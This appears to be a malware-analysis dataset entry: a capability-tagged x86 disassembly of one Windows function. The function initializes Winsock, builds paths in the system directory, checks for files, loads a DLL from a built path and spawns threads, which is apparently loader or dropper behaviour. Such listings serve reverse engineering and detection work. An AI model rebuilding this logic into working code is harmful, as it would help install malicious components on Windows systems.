Function at 0x402a0a
Capabilities:
Acquire debug privileges
Create thread
Get common file path
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x3e4
call fcn.00407fd0
lea eax, [ebp - 0x19c]
push eax
push 2
call sub.WS2_32.DLL_WSAStartup
call fcn.00402c9c
test al, al
je 0x402a39
push 0
call sub.KERNEL32.DLL_ExitProcess
call fcn.00403830
lea edi, [ebp - 0x20c]
call fcn.004028ce
push 0x64
push edi
call sub.KERNEL32.DLL_GetSystemDirectoryA
push edi
call sub.KERNEL32.DLL_lstrlenA
cmp byte [eax + ebp - 0x20d], 0x5c
je 0x402a6c
push 0x40b5a1
push edi
call sub.KERNEL32.DLL_lstrcatA
push edi
lea eax, [ebp - 0x27c]
lea ebx, [ebp - 0x29c]
push eax
call sub.KERNEL32.DLL_lstrcpyA
push edi
lea eax, [ebp - 0x30c]
push eax
call sub.KERNEL32.DLL_lstrcpyA
push edi
lea eax, [ebp - 0x37c]
push eax
call sub.KERNEL32.DLL_lstrcpyA
push edi
lea eax, [ebp - 0x3ec]
lea edi, [ebp - 0x29c]
push eax
call sub.KERNEL32.DLL_lstrcpyA
cld
xor eax, eax
mov ecx, 5
rep stosd dword es:[edi], eax
push 0x40b85f
push ebx
call fcn.00402d66
pop esi
lea eax, [ebp - 0x27c]
pop edi
push ebx
push eax
call sub.KERNEL32.DLL_lstrcatA
lea eax, [ebp - 0x27c]
push eax
call fcn.00402940
pop ecx
mov edi, eax
call fcn.0040273e
test eax, eax
je 0x402b0d
call fcn.00402898
test eax, eax
mov esi, eax
jne 0x402c90
call fcn.00403582
lea eax, [ebp - 0x27c]
push eax
call fcn.0040300a
pop edx
test eax, eax
jne 0x402b57
call fcn.00403942
lea eax, [ebp - 0x27c]
push eax
call fcn.004038f4
pop ecx
call fcn.004027f2
call fcn.004025d4
call fcn.00403582
lea eax, [ebp - 0x27c]
push eax
call fcn.0040348e
lea eax, [ebp - 0x27c]
mov dword [esp], eax
call sub.KERNEL32.DLL_LoadLibraryA
push 0xbb8
call sub.KERNEL32.DLL_Sleep
jmp 0x402c90
test edi, edi
jne 0x402b67
lea eax, [ebp - 0x27c]
push eax
call sub.KERNEL32.DLL_LoadLibraryA
cld
mov eax, esi
mov edi, ebx
mov ecx, 5
rep stosd dword es:[edi], eax
push 0x40b5d1
mov edi, ebx
push ebx
call fcn.00402d66
pop eax
lea eax, [ebp - 0x30c]
pop edx
push ebx
push eax
call sub.KERNEL32.DLL_lstrcatA
cld
mov eax, esi
mov ecx, 5
rep stosd dword es:[edi], eax
push 0x40b5dc
push ebx
call fcn.00402d66
pop ecx
lea eax, [ebp - 0x37c]
pop edi
mov edi, ebx
push ebx
push eax
call sub.KERNEL32.DLL_lstrcatA
cld
mov eax, esi
mov ecx, 5
rep stosd dword es:[edi], eax
push 0x40b770
push ebx
call fcn.00402d66
pop eax
lea eax, [ebp - 0x3ec]
pop edx
push ebx
push eax
call sub.KERNEL32.DLL_lstrcatA
lea eax, [ebp - 0x30c]
push eax
call fcn.0040300a
pop edi
test eax, eax
je 0x402c25
lea eax, [ebp - 0x37c]
push eax
call fcn.0040300a
pop esi
test eax, eax
je 0x402c25
lea eax, [ebp - 0x3ec]
push eax
call fcn.0040300a
pop ebx
test eax, eax
jne 0x402c25
lea eax, [ebp - 0x3f0]
push eax
push 0
push 0
push 0x402424
push 0
push 0
call sub.KERNEL32.DLL_CreateThread
lea eax, [ebp - 0x37c]
push eax
call fcn.0040300a
pop ecx
test eax, eax
jne 0x402c4f
lea eax, [ebp - 0x3f0]
push eax
push 0
push 0
push 0x4021be
push 0
push 0
call sub.KERNEL32.DLL_CreateThread
push 0x40b86c
call fcn.00402f7a
mov dword [esp], 0x7d0
call sub.KERNEL32.DLL_Sleep
call fcn.004029d4
test eax, eax
jne 0x402c7a
lea eax, [ebp - 0x27c]
push eax
call sub.KERNEL32.DLL_LoadLibraryA
call fcn.00404262
call fcn.004052d2
push 0xfa0
call sub.KERNEL32.DLL_Sleep
jmp 0x402c84
lea esp, [ebp - 0xc]
xor eax, eax
pop ebx
pop esi
pop edi
pop ebp
ret